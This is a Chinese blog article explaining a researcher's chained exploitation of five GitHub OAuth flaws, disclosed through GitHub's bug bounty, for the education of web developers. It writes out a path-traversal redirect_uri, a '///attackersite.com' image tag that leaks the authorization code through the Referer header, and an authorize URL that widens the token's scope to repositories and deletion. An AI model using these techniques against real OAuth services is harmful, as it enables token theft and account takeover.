从“黑掉Github”学Web安全开发
Egor Homakov(Twitter: @homakov 个人网站: EgorHomakov.com)是一个Web安全的布道士,他这两天把github给黑了,并给github报了5个安全方面的bug,他在他的这篇blog——《How I hacked Github again》(墙)说明了这5个安全bug以及他把github黑掉的思路。Egor的这篇文章讲得比较简单,很多地方一笔带过,所以,我在这里用我的语言给大家阐述一下黑掉Github的思路以及原文中所提到的那5个bug。希望这篇文章能让从事Web开发的同学们警惕。关于Web开发中的安全事项,大家可以看看这篇文章《Web开发中的你需要了解的东西》
OAuth简介
首先,这个故事要从Github OAuth讲起。所以,我们需要先知道什么是OAuth。所谓OAuth就是说,第三方的应用可以通过你的授权而不用知道你的帐号密码能够访问你在某网站的你自己的数据或功能。像Google, Facebook, Twitter等网站都提供了OAuth服务,提供OAuth服务的网站一般都有很多开放的API,第三方应用会调用这些API来开发他们的应用以让用户拥有更多的功能,但是,当用户在使用这些第三方应用的时候,这些第三方的应用会来访问用户的帐户内的功能和数据,所以,当第三应用要干这些事的时候,我们不能让第三方应用弹出一个对话框来问用户要他的帐号密码,不然第三方的应用就把用户的密码给获取了,所以,OAuth协议会跳转到一个页面,让用户授权给这个第三方应用以某些权限,然后,这个权限授权的记录保存在Google/Facebook/Twitter上,并向第三方应用返回一个授权token,于是第三方的应用通过这个token来操作某用户帐号的功能和数据时,就畅通无阻了。下图简单地说明了Twitter的OAuth的授权过程。

从上面的流程图中,我们可以看OAuth不管是1.0还是2.0版本都是一个比较复杂的协议,所以,在Server端要把OAuth实现对并不是一些容易事,其总是或多或少会有些小错误。Egor就找到了几个Github的OAuth的实现的问题。
OAuth的Callback
还需要注意的是,因为OAuth是需要跳到主站的网页上去让用户授权,当用户授权完后,需要跳转回原网页,所以,一般来说,OAuth授权页都会带一个 redirect_url的参数,用于指定跳转回原来的网页。Github使用的这个跳转参数是redirect_uri参数。一般来说,redirect_uri这个参数需要在服务器端进行验证。
你想一下,如果有人可以控制这个redirect_uri这个参数,那么,你就可以让其跳转到别的网页上(可能会是个有恶意的网页)。如果你觉得跳转到别的网页上也无所谓,那么你就错了。别忘了,当你对这个第三方的应用授权通过后,服务方会给第三方应用返回一个授权token,这个token会被加到那个redirect_uri参数后面然后跳转回去,如果这个redirect_uri被别有用心的人改一个恶意的网址后,这个token也就被转过去了,于是授权token也就被泄漏过去了。
知道了这一切,我们就可以理解Egor提的那5个bug是什么意思了。
第一个Bug — 没有检查重定向URL中的/../
首先,我们通过Github的 redirect_uri 的说明文档我们可以看到这样的说明:
如果 CALLBACK URL是: http://example.com/path GOOD: https://example.com/path
GOOD: http://example.com/path/subdir/other BAD: http://example.com/bar
BAD: http://example.com/
BAD: http://example.com:8080/path
BAD: http://oauth.example.com:8080/path
BAD: http://example.org
而Github对于redirect_uri做了限制,要求只能跳回到 https://gist.github.com/auth/github/callback/,也就是说,域名是gist.github.com,目录是/auth/github/callback/,服务器端做了这个限制,看似很安全了。
但是,Egor发现,Github的服务器端并没有验证.. /../../这样的情况。
于是,Egor相当于构造了一个下面这样的Redirect URL:
https://gist.github.com/auth/github/callback/../../../homakov/8820324?code=CODE
于是上面的URL就相当于:
https://gist.github.com/homakov/8820324?code=CODE
你可以看到,认证后的跳转网页转到了别的地方去(并非是github限制的地方)——我们知道Github的gist虽然是给你分享代码片段的,但是也可以用来定制自己的东西的(比如markdown),这个gist的网页当然是被Egor所控制的。
第二个BUG — 没有校验token
第一个bug其实并没有什么,如果服务器端要校验一下token是否和之前生成的token的redirect_uri一模一样,只要服务器做了这个验证,第一个bug完全没有什么用处,但是,github的服务端并没有验证。
这就是第二个bug,于是第一个和第二个bug组合起来成了一个相当有威力的安全漏洞。
也就是说,token的生成要考虑redirect_uri,这样,当URL跳转的时候,会把redirect_uri和token带到跳转页面(这里的跳转页面还是github自己的),跳转页面的服务端程序要用redirect_uri来生成一个token,看看是不是和传来的token是一个样的。这就是所谓的对URL进行签名——以保证URL的不被人篡改。一般来说,对URL签名和对签名验证的因子包括,源IP,服务器时间截,session,或是再加个salt什么的。
第三个BUG — 注入跨站图片
现在,redirect_uri带着code,安全顺利地跳到了Egor构造的网页上:
https://gist.github.com/homakov/8820324?code=CODE
但是,这个是gist的网页,你无法在这个页面上运行前端(Javascript)或后端程序(Ruby——Github是Ruby做的),现在的问题是我们怎么得到那个code,因为那个code虽然后带到了我的网页上来,但那个网页还是github和用户自己的环境。
到这里,一般来说,黑客会在这个页面上放一个诸如下面的一个链接,来引诱用户点击,:
<a href=http://hack.you.com/>私人照片</a>
这样,当页面跳转到黑客的网站上来后,你之前的网页上的网址会被加在http头里的 Refere 参数里,这样,我就可以得到你的token了。
但是,在gist上放个链接还要用户去点一下,这个太影响“用户体验”了,最好能嵌入点外部的东西。gist上可以嵌入外站的图片,但是github的开发人员并非等闲之辈,对于外站的图片,其统统会把这些图片的url代理成github自己的url,所以,你很难搞定。
不过,我们可以用一个很诡异的技巧:
<img src=”///attackersite.com”>
这个是什么玩意?这个是个URL的相对路径。但是为什么会有三个///呢?呵呵。
像程序员一样的思考
这个时候,我们需要以“程序员的编程思维”来思考问题——如果你是程序员,你会怎么写校验URL的程序?你一定会想到使用正则表达式,或是用程序来匹配URL中的一些pattern。于是,
- 对于绝对路径:你会匹配两个//,后面的可能会是 user@host.com(user@是可选的),然后可能会有:<n>端口号,然后是/,后面是服务器的路径,再往后面应该是?后面带一些参数了。
- 对于相对路径:就没有绝对路径那么复杂了。就是些 .. 和 /再加上?和一些参数。
好了,如果coolshell.cn网页中的<img src=>或<a href=>中用到的相对路径是 /host.com,那么浏览器会解释成:http://coolshell.cn/host.com,如果是///host.com,那么就应该被浏览器解释成 http://coolshell.cn///host.com。
但是,Chrome和Firefox,会把///host.com当成绝对路径,因为其正确匹配了绝对路径的scheme。如果你正在用Chrome/Firefox看这篇文章 ,你可以看看下面的连接(源码如下):
<a href="///www.google.com">CoolShell Test</a>
关键是,这个Chrome/Firefox的问题被标记成了Won’t Fix,我勒个去,基本上来说,后台的程序也有可能有这样的问题,对于Perl,Python,Ruby,Node.js,PHP带的URL检查的函数库都有这样的问题。
于是,我们就可以使用这样的方式给gist注入了一个第三方站点的图片(github的服务端没有察觉到(因为我们前面说过大多数语言的URL检查库都会被 Bypass了),但是浏览器端把这个链接解释到了第三方的站点上),于是请求这个图片的http头中的refere 中包含用户当前页面的URL,也包含了用户授权的code。
到这里,黑客Egor已经拿到用户gist的权限并可以修改或查看用户私用的gist了。但是作者并没有满足,他想要的更多。
第四个bug – Gist把github_token放在了cookie里
于是Egor在用户的cookie里找到了 github_token

但是这个token没什么用,因为授权的Scope只有gists。但是,这个token不应该放在用户端的cookie里,本身就是一个安全事故,这个东西只能放在服务端(关于Web开发中的安全事项,可以看看这篇文章《Web开发中的你需要了解的东西》)。
于是,Egor只能另谋出路。
第五个Bug – 自动给gist授权
因为gist是github自家的,Egor所以估计github想做得简单一点,当用户访问gist的时候,不会出弹出一个OAuth的页面来让用户授权,不然,用户就会很诧异,都是你们自家的东西,还要授权?所以,Egor猜测github应该是对gist做了自动授权,于是,Egor搞了这样的一个URL(注意其中的 redirect_uri中的scope )
https://github.com/login/oauth/authorize?client_id=7e0a3cd836d3e544dbd9&redirect_uri=https%3A%2F%2Fgist.github.com%2Fauth%2Fgithub%2Fcallback/../../../homakov/8820324&response_type=code&scope=repo,gists,user,delete_repo,notifications
于是,这个redirect-uri不但帮黑客拿到了访问gist的token,而且还把授权token的scope扩大到了用户的代码库等其它权限。于是你就可以黑入用户的私有代码区了。
其它 & 感想
于是,作者从 Github Security Bug Bounty 拿到了USD $4,000的奖励!Egor一共花了从下午2点到6点一共4个小时找到了这些Bug,平均一小时1000美刀。Egor还很得瑟的说,如果Github请他做安全顾问,他只收一小时USD $400刀,这4个小时也就$1,600。呵呵。大家看看,这是多么有效率的赚钱方式。
下图是Github上的赏金猎手的排行榜(https://bounty.github.com/index.html#leaderboard)你可以上去挨个看看他们找到的问题,你会发现好些安全问题都很小,有些只能说是不是很规范的问题,Github都赏了几百刀。我查看了一下github的赏金政策,github赏金至少100刀,到5000刀不等。

让我们扪心自问一下,我们花了多少时间在玩那些“红包游戏”,而又搞到了多少红包?人家4个小时找了5个bug,挣了$4000美金。老天给了你我一样的时间,我们用来抽几块钱的红包,人家用自己的技能来挣奖金。这就是人和人的差距。这就是所谓的效率——你可以移步看看我写的《加班与效率》
(全文完)
(转载本站文章请注明作者和出处 酷 壳 – CoolShell.cn ,请勿用于任何商业用途)
从“黑掉Github”学Web安全开发
从“黑掉Github”学Web安全开发的更多相关文章
- 学web前端开发写给新手的建议,超实用!
01 前面的话 如今我们使用的互联网,客户端与服务器端的交互无时无刻不在发生.比如我们在浏览器打开网页,浏览器就是客户端,将网页数据发过来的也就是服务器.其实服务器,并没有什么特别的,也就是一台昼夜不 ...
- 学web前端开发有前途吗
web前端开发现在如此火爆,可以说是引领了IT培训行业的一个潮流,那么web前端开发都要学些什么知识呢?为什么这么火有前途吗?现在行业很需要这种人才吗?还是大家盲目跟风,随大流,下面小编对web前端做 ...
- 学Web前端开发,选择培训学校是关键--青岛思途
互联网+的提出,催生了Web前端开发行业更大的就业空间,其行业热度也正呈爆炸式增长.专业人才供不应求导致了从业者薪资的居高不下,一般来说Web前端工程师的年薪可达15w以上,工作3~5年后通常可达到1 ...
- 循序渐进学.Net Core Web Api开发系列【0】:序言与目录
一.序言 我大约在2003年时候开始接触到.NET,最初在.NET framework 1.1版本下写过代码,曾经做过WinForm和ASP.NET开发.大约在2010年的时候转型JAVA环境,这么多 ...
- 循序渐进学.Net Core Web Api开发系列【16】:应用安全续-加密与解密
系列目录 循序渐进学.Net Core Web Api开发系列目录 本系列涉及到的源码下载地址:https://github.com/seabluescn/Blog_WebApi 一.概述 应用安全除 ...
- 使用react全家桶制作博客后台管理系统 网站PWA升级 移动端常见问题处理 循序渐进学.Net Core Web Api开发系列【4】:前端访问WebApi [Abp 源码分析]四、模块配置 [Abp 源码分析]三、依赖注入
使用react全家桶制作博客后台管理系统 前面的话 笔者在做一个完整的博客上线项目,包括前台.后台.后端接口和服务器配置.本文将详细介绍使用react全家桶制作的博客后台管理系统 概述 该项目是基 ...
- C#设计模式总结 C#设计模式(22)——访问者模式(Vistor Pattern) C#设计模式总结 .NET Core launch.json 简介 利用Bootstrap Paginator插件和knockout.js完成分页功能 图片在线裁剪和图片上传总结 循序渐进学.Net Core Web Api开发系列【2】:利用Swagger调试WebApi
C#设计模式总结 一. 设计原则 使用设计模式的根本原因是适应变化,提高代码复用率,使软件更具有可维护性和可扩展性.并且,在进行设计的时候,也需要遵循以下几个原则:单一职责原则.开放封闭原则.里氏代替 ...
- 循序渐进学.Net Core Web Api开发系列【15】:应用安全
系列目录 循序渐进学.Net Core Web Api开发系列目录 本系列涉及到的源码下载地址:https://github.com/seabluescn/Blog_WebApi 一.概述 本篇介绍W ...
- 循序渐进学.Net Core Web Api开发系列【14】:异常处理
系列目录 循序渐进学.Net Core Web Api开发系列目录 本系列涉及到的源码下载地址:https://github.com/seabluescn/Blog_WebApi 一.概述 本篇介绍异 ...
随机推荐
- Python格式化输出
今天写程序又记不清格式化输出细节了……= =索性整理一下. python print格式化输出. 1. 打印字符串 print ("His name is %s"%("A ...
- Chart.js中文文档-雷达图
雷达图或蛛网图(Radar chart) 简介 A radar chart is a way of showing multiple data points and the variation bet ...
- 扩:new and override
昨天有个网友问我继承里面的new和override关键词有啥区别,呃,我们来看个例子就知道了 new ==>隐藏父类同名方法 override==>覆盖 定义一个父类: public c ...
- 让hammer完美支持Pixi.js - 2D webG库
由于项目改造,采用2D webG的pixi库,那么基于canvas的结构上,事件就是最大的一个问题了 改造的原理很简单,把hammer里面的addEventListeners事件绑定给第三方库代替,事 ...
- Android Studio使用技巧:导出jar包
转自http://blog.csdn.net/lincyang/article/details/44457799 AS中并没有独立的Module 工程,但是可以在普通的Project中加入Module ...
- 【原创】开源Math.NET基础数学类库使用(15)C#计算矩阵行列式
本博客所有文章分类的总目录:[总目录]本博客博文总目录-实时更新 开源Math.NET基础数学类库使用总目录:[目录]开源Math.NET基础数学类库使用总目录 上个月 ...
- 记一次ASP.NET MVC性能优化(实际项目中)
前言 在开发中为了紧赶项目进度而未去关注性能的问题,在项目逐渐稳定下来后发现性能令人感到有点忧伤,于是开始去关注这方面,本篇为记录在开发中遇到的问题并解决,不喜勿喷.注意:以下问题都是在移动端上出现, ...
- 【CSS进阶】原生JS getComputedStyle等方法解析
最近一直在研读 jQuery 源码,初看源码一头雾水毫无头绪,真正静下心来细看写的真是精妙,让你感叹代码之美. 其结构明晰,高内聚.低耦合,兼具优秀的性能与便利的扩展性,在浏览器的兼容性(功能缺陷.渐 ...
- IOS开发之微信山寨版
为了犒劳自己的学习内容,就山寨个微信的视图控制吧.拿着微信,仔细的看了一下,主要用到了TabBarController以及配置TabBarItem, NavigationController以及配置N ...
- java 线程 Thread 使用介绍,包含wait(),notifyAll() 等函数使用介绍
(原创,转载请说明出处!谢谢--http://www.cnblogs.com/linguanh/) 此文目的为了帮助大家较全面.通俗地了解线程 Thread 相关基础知识! 目录: --线程的创建: ...